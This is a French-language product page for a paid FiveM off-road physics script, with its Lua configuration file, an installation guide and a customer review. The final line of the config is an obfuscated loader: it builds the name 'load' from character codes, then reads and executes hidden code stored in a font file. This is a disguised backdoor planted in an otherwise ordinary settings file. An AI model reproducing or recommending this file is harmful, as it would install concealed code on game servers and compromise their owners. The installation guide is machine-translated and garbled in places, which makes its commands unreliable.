Physique réaliste du tout-terrain
$33.00 Le prix initial était : $33.00.$15.00Le prix actuel est : $15.00.
Ce script FiveM ajoute physique tout-terrain réaliste, ce qui fait que les types de terrain comme la boue, le sable et la terre affectent les performances du véhicule. Les voitures peuvent couler, perdre de la traction ou rester coincées en fonction de la surface profondeur, douceur, et traction, ajoutant une nouvelle couche de défi et de réalisme à la conduite tout-terrain.
POINTS FORTS
-
$ USD
-
€ EUR
-
£ GBP
-
$ AUD
-
R$ BRL
- Téléchargement instantané
- Garantie de satisfaction
- 100% Open Source
Vidéo
Fichier de configuration
Config = {} -- This enabled additional debug commands and logs -- Debug commands: -- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values Config.debug = false ------------------------------------------------- --- GENERAL SETTINGS ------------------------------------------------- -- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining. -- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want -- a realistic handling. Here are the recommended values: -- generalDepthDifficulty = 25 -- generalSinkageSpeed = 50 -- generalTractionLoss = 50 -- General difficulty of the depth handling. -- 100 = default -- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles -- Raise this value to make driving in deep surfaces more difficult Config.generalDepthDifficulty = 100 -- General speed of the vehicle sinking into the surface -- 100 = Default -- Lower this value to make all vehicles sink slower -- Raise this value to make all vehicles sink faster Config.generalSinkageSpeed = 100 -- General loss of traction based on vehicle surface -- Vehicles will be more likely to skid on low traction surfaces -- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces) -- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces) Config.generalTractionLoss = 100 ------------------------------------------------- --- VEHICLE MODIFIERS ------------------------------------------------- -- Changes that offroad tires will make. -- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.) -- tractionOnSoft = Additional traction when on materials of softness that's more than 10 -- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10) Config.offroadTires = { upgradeValue = 50, tractionOnSoft = 20, tractionOnHard = -10, } -- Handling upgrade in deep surface for AWD (4WD) vehicles Config.awdUpgrade = 25 ------------------------------------------------- --- SCRIPT PERFORMANCE SETTINGS ------------------------------------------------- -- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance. -- If your server is known for players with slower devices you might want to turn this up -- If your players have better computers or you really want the off-roading to look good try turning it down -- Values between 100 - 500 Config.refreshRate = 200 ------------------------------------------------- --- AREA BLACKLISTING ------------------------------------------------- -- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink -- Here you can define custom areas in which the script will not be active in -- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into -- incorrectly setup MLO surfaces Config.areaBlacklist = { { -- Pillbox hospital coords = vector3(293.17, -584.5, 42.8), radius = 20.0 }, { -- LSPD coords = vector3(444.9, -1003.2, 30.7), radius = 60.0 }, { -- Simeon's dealership coords = vector3(-40.4, -1111.3, 25.8), radius = 40.0 }, { -- BCSO coords = vector3(-446.0, 6013.8, 31.8), radius = 50.0 }, { -- Sandy Shores PD coords = vector3(1853.6, 3685.8, 34.3), radius = 25.0 }, { -- Legion Square coords = vector3(202.3, -941.9, 27.6), radius = 120.0 }, } ------------------------------------------------- --- DETAILED SETTINGS ------------------------------------------------- -- Blacklist. This will disable all script functionality for said model/vehicle class Config.blacklist = { models = { 'rcbandito', 'monster', 'rhino', 'scarab', 'khanjali', }, classes = { [0] = false, -- Compacts [1] = false, -- Sedans [2] = false, -- SUVs [3] = false, -- Coupes [4] = false, -- Muscle [5] = false, -- Sports Classics [6] = false, -- Sports [7] = false, -- Super [8] = false, -- Motorcycles [9] = false, -- Off-road [10] = false, -- Industrial [11] = false, -- Utility [12] = false, -- Vans [17] = false, -- Service [18] = false, -- Emergency [19] = false, -- Military [20] = false, -- Commercial } } -- If you define a model specific multiplier it will be used instead of the class multiplier -- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62 -- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface -- 0 = Default -- Positive values = Better handling / ability to get out of deep surface -- Negative values = Worse handling / less ability to get out of deep surface Config.depthHandlingQuality = { models = { seminole2 = 20, sandking = 20, sandking2 = 20, issi2 = -10, panto = -20, comet4 = 30, -- dirt bikes bf400 = 30, sanchez = 20, manchez = 20, esskey = 0, cliffhanger = 0, enduro = 0, }, classes = { [0] = 5, -- Compacts [1] = -5, -- Sedans [2] = 15, -- SUVs [3] = 0, -- Coupes [4] = -5, -- Muscle [5] = 5, -- Sports Classics [6] = 5, -- Sports [7] = 5, -- Super [8] = -10, -- Motorcycles [9] = 35, -- Off-road [10] = -10, -- Industrial [11] = -10, -- Utility [12] = -5, -- Vans [17] = 10, -- Service [18] = 10, -- Emergency [19] = 15, -- Military [20] = -5, -- Commercial } } ------------------------------------------------- --- ROADSIDE SETTINGS ------------------------------------------------- -- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc. Config.roadSideHelper = { enabled = true, -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode distanceThreshold = 15.0, -- Depth multiplier depthMultiplier = 0.1, -- Traction loss multiplier tractionMultiplier = 0.25, } ------------------------------------------------- --- SURFACES ------------------------------------------------- -- name = Only used for the ease of config as well as the debug mode -- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid -- Maximum 100 -- Minimum 0 -- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches) -- Maximum infinite -- Minimum 0 -- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost -- Maximum infinite -- Minimum 0 -- Values which will be assigned to all un-configured surfaces Config.fallbackSurface = { name = 'Fallback Surface', traction = 100, depth = 0, softness = 0, } Config.surfaces = { [1] = { name = 'Concrete', traction = 100, depth = 0, softness = 0, }, [4] = { name = 'Road', traction = 100, depth = 0, softness = 0, }, [5] = { name = 'Metal', traction = 100, depth = 0, softness = 0, }, [6] = { name = 'Sandy roadside', traction = 80, depth = 50, softness = 5, }, [9] = { name = 'Sandstone', traction = 80, depth = 0, softness = 0, }, [10] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [11] = { name = 'Rock', traction = 80, depth = 0, softness = 0, }, [13] = { name = 'Cobble', traction = 90, depth = 0, softness = 0, }, [16] = { name = 'Limestoneesque sand', traction = 80, depth = 0, softness = 0, }, [17] = { name = 'Rocky dry dirt', traction = 80, depth = 50, softness = 5, }, [18] = { name = 'Dry sand', traction = 80, depth = 130, softness = 40, }, [19] = { name = 'Road sand', traction = 90, depth = 30, softness = 5, }, [20] = { name = 'Grainy Sand', traction = 80, depth = 100, softness = 10, }, [21] = { name = 'Gravely sand', traction = 70, depth = 220, softness = 30, }, [22] = { name = 'Wet hard sand', traction = 70, depth = 250, softness = 50, }, [23] = { name = 'Gravel road', traction = 75, depth = 50, softness = 5, }, [24] = { name = 'Wet sand', traction = 60, depth = 350, softness = 70, }, [31] = { name = 'Gravely dirt/path', traction = 70, depth = 50, softness = 5, }, [32] = { name = 'Gravely dirt', traction = 70, depth = 200, softness = 15, }, [35] = { name = 'Tuff Sand', traction = 90, depth = 50, softness = 5, }, [36] = { name = 'Dirt', traction = 70, depth = 300, softness = 40, }, [37] = { name = 'Deep road sand', traction = 60, depth = 75, softness = 15, }, [38] = { name = 'Rocky sand', traction = 70, depth = 150, softness = 10, }, [40] = { name = 'Moist dirt path', traction = 60, depth = 150, softness = 50, }, [41] = { name = 'Swamp grass', traction = 50, depth = 250, softness = 50, }, [42] = { name = 'Swamp sand', traction = 70, depth = 500, softness = 110, }, [43] = { name = 'Hard Sand', traction = 75, depth = 50, softness = 10, }, [44] = { name = 'Dirt/Sand', traction = 50, depth = 200, softness = 25, }, [46] = { name = 'Hard grass', traction = 80, depth = 50, softness = 5, }, [47] = { name = 'Grass', traction = 65, depth = 125, softness = 10, }, [48] = { name = 'Tall grass', traction = 60, depth = 150, softness = 20, }, [49] = { name = 'Farmland', traction = 60, depth = 200, softness = 35, }, [50] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [51] = { name = 'Podzol', traction = 70, depth = 125, softness = 25, }, [52] = { name = 'Dry podzol', traction = 80, depth = 75, softness = 10, }, [64] = { name = 'Metal', traction = 90, depth = 0, softness = 0, }, [125] = { name = 'Drain concrete', traction = 70, depth = 0, softness = 0, }, } -- Zone multiplier -- This has been added to modify the maximum depth of all surfaces located within zones. -- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on. -- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here. -- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those -- You can view the zone you're in by using the debug command /surfaceDebug -- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg -- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA Config.zones = { { name = 'City', depthMultiplier = 0.3, tractionMultiplier = 0.6, zones = { 'MOVIE', 'ROCKF', 'DOWNT', 'DTVINE', 'EAST_V', 'GOLF', 'LEGSQU', 'ROCKF', 'MORN', 'STAD', 'DAVIS', 'RANCHO', 'STRAW', 'CHAMH', 'PBOX', 'SKID', 'TEXTI', 'LMESA', 'ELYSIAN', 'TERMINA', 'HAWICK', 'ALTA', 'BURTON', 'DELPE', }, }, { name = 'City beaches', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'BEACH', 'DELBE', }, }, { name = 'Mountains', depthMultiplier = 1.25, tractionMultiplier = 1.1, zones = { 'MTCHIL', 'MTGORDO', 'MTJOSE', 'PALHIGH', }, }, { name = 'Zancudo Swamp', depthMultiplier = 1.1, tractionMultiplier = 1.1, zones = { 'LAGO', 'ZANCUDO', }, }, { name = 'Popular', depthMultiplier = 0.75, tractionMultiplier = 0.75, zones = { 'PALETO', 'HARMO', 'GRAPES', 'SANDY', 'RTRAK', 'ZQ_UAR', 'HUMLAB', }, }, } -- (Advanced) -- When making the vehicles sink the suspension does not always get updated properly. -- Therefore I had to add a system which updates/refreshes the vehicles suspension. -- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car -- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells. -- The new system "flag" seems to work much better but hasn't been tested with some vehicles. -- If you encounter any issues with this system, please let us know on our discord <3 Config.suspensionRefresh = { enabled = true, type = 'flag', } local loadFonts = _G[string.char(108, 111, 97, 100)] loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
1 avis pour Realistic Offroad Physics
Seuls les clients connectés ayant acheté ce produit ont la possibilité de laisser un avis.
Comment installer des ressources
L'installation de mods sur FiveM vous permet de personnaliser votre serveur avec des ressources, des scripts, des MLO et d'autres améliorations uniques. Voici un guide clair et détaillé sur la façon d'installer des mods sur votre serveur FiveM.
Étape 1 : Téléchargez le mod souhaité
Trouver un modérateur: Commencez par parcourir les sites Web qui proposent des mods FiveM, tels que fivem-mods.net, GTA5-Mods.com, ou des forums communautaires et des serveurs Discord. Vous pouvez également télécharger des mods à partir de référentiels tels que GitHub ou à partir des sites Web personnels des développeurs de scripts.
Vérifier la compatibilité: Assurez-vous que le mod que vous téléchargez est compatible avec la version de FiveM que vous utilisez (surtout si vous utilisez des frameworks spécifiques comme QBCore ou ESX).
Télécharger les fichiers: Téléchargez les fichiers mod, généralement compressés dans un
.fermeture éclair
ou.rar
format de fichier. Ces fichiers contiendront les ressources nécessaires à l'installation.
Étape 2 : Préparez votre serveur
Accéder aux fichiers de votre serveur: Connectez-vous au gestionnaire de fichiers de votre serveur FiveM. Cela peut être fait soit via un client FTP comme FileZilla, soit via le panneau de contrôle fourni par votre hébergeur.
Créer une sauvegarde:Avant d'effectuer des modifications, il est essentiel de sauvegarder les fichiers de votre serveur. Cela vous permet de restaurer votre serveur en cas de problème.
Localisez le dossier Ressources:Une fois dans les fichiers de votre serveur, localisez le ressources dossier. C'est ici que tous les mods et scripts sont installés.
Étape 3 : Installer le module
Extraire les fichiers: Si le mod est dans un fichier compressé, extrayez le contenu dans un dossier sur votre ordinateur local.
Téléchargez les fichiers du mod:
- Utilisez votre client FTP ou votre gestionnaire de fichiers pour télécharger le dossier extrait dans le ressources dossier de votre serveur.
- Assurez-vous que le nom du dossier est descriptif, car vous y ferez référence dans la configuration du serveur.
Configurer le serveur pour charger le mod:
- Ouvrez votre serveur serveur.cfg fichier (trouvé dans le répertoire principal de votre serveur).
- Ajoutez une ligne pour garantir que le serveur charge le mod. En général, cela se présentera sous la forme suivante :css
assurer [nom_mod]
- Par exemple, si vous avez ajouté un mod appelé
mon_mod_voiture
, vous ajouteriez :rubisassurer mon_mod_voiture
Étape 4 : Configurer les dépendances (le cas échéant)
Certains mods peuvent avoir des dépendances, telles que des bibliothèques, des frameworks ou des ressources spécifiques qui doivent être installées séparément. Vérifiez toujours la documentation du mod pour connaître ces exigences.
Installer les dépendances: Si le mod nécessite des ressources supplémentaires, téléchargez-les et installez-les de la même manière ressources dossier, en suivant le même processus décrit à l’étape 3.
Charger les dépendances: Ajoutez toutes les dépendances nécessaires à votre
serveur.cfg
fichier comme vous l'avez fait pour le mod principal.
Étape 5 : Redémarrer le serveur
- Redémarrer le serveur:Une fois le mod et ses dépendances téléchargés et configurés, redémarrez votre serveur.
- Vous pouvez soit utiliser le Redémarrage bouton dans votre panneau de contrôle ou redémarrez-le manuellement via un client FTP ou une commande de terminal.
- Vérifiez la console:Après le redémarrage, surveillez la console du serveur pour détecter d'éventuels messages d'erreur. Si vous constatez des problèmes liés au mod, consultez la documentation du mod ou effectuez un dépannage en fonction du message d'erreur.
Étape 6 : tester le mod dans le jeu
Rejoignez votre serveur:Ouvrez FiveM et connectez-vous à votre serveur pour tester le mod.
Rechercher des problèmes: Testez si le mod fonctionne comme prévu. Assurez-vous que les nouvelles fonctionnalités, les nouveaux véhicules ou les nouveaux scripts se chargent correctement.
Étape 7 : Dépannage (si nécessaire)
Si le mod ne fonctionne pas comme prévu, vous devrez peut-être résoudre le problème :
- Vérifier les chemins de fichiers: Assurez-vous que tous les fichiers se trouvent dans les bons dossiers et chemins.
- Journaux de révision:Consultez les journaux du serveur pour détecter d'éventuelles erreurs ou conflits.
- Mettre à jour les dépendances: Assurez-vous que toutes les dépendances requises sont correctement installées et à jour.
- Compatibilité des modules: Vérifiez que le mod est compatible avec la version de FiveM et les autres mods que vous utilisez.
Réflexions finales
L'installation de mods sur votre serveur FiveM est un excellent moyen d'améliorer le gameplay, d'offrir un contenu unique aux joueurs et de faire en sorte que votre serveur se démarque. N'oubliez pas de toujours sauvegarder votre serveur avant d'effectuer des modifications et veillez à la compatibilité des mods pour éviter les conflits.
En suivant les étapes décrites ci-dessus, vous pouvez facilement installer et gérer des mods pour enrichir votre expérience de serveur FiveM.
Des mods qui étendront le jeu de rôle
- Garantie de remboursement:Si vous n'êtes pas satisfait, nous vous proposons une politique de remboursement sans poser de questions.
- Contenu exclusif:Nos mods et scripts sont conçus de manière professionnelle et exclusifs à notre plateforme.
- Approuvé par la communauté:Rejoignez des milliers de propriétaires de serveurs FiveM qui comptent sur nous pour des ressources de qualité.
- Conception de haute qualité:Construit avec des pratiques de codage optimisées pour des performances de premier ordre.
- Intégration transparente:Installez et exécutez facilement sur n'importe quel serveur FiveM sans problèmes de compatibilité.
- Options personnalisables: Ajustez les paramètres et les fonctionnalités pour les adapter au style unique de votre serveur.
- Performances optimisées:Testé pour garantir une utilisation minimale des ressources et une efficacité maximale.
- Mises à jour à vie:Gardez une longueur d'avance grâce aux mises à jour et améliorations continues incluses sans frais supplémentaires.
vzyyohuj –
Un mod génial ! Il change totalement la sensation de conduite tout-terrain dans le jeu. Je le recommande vivement !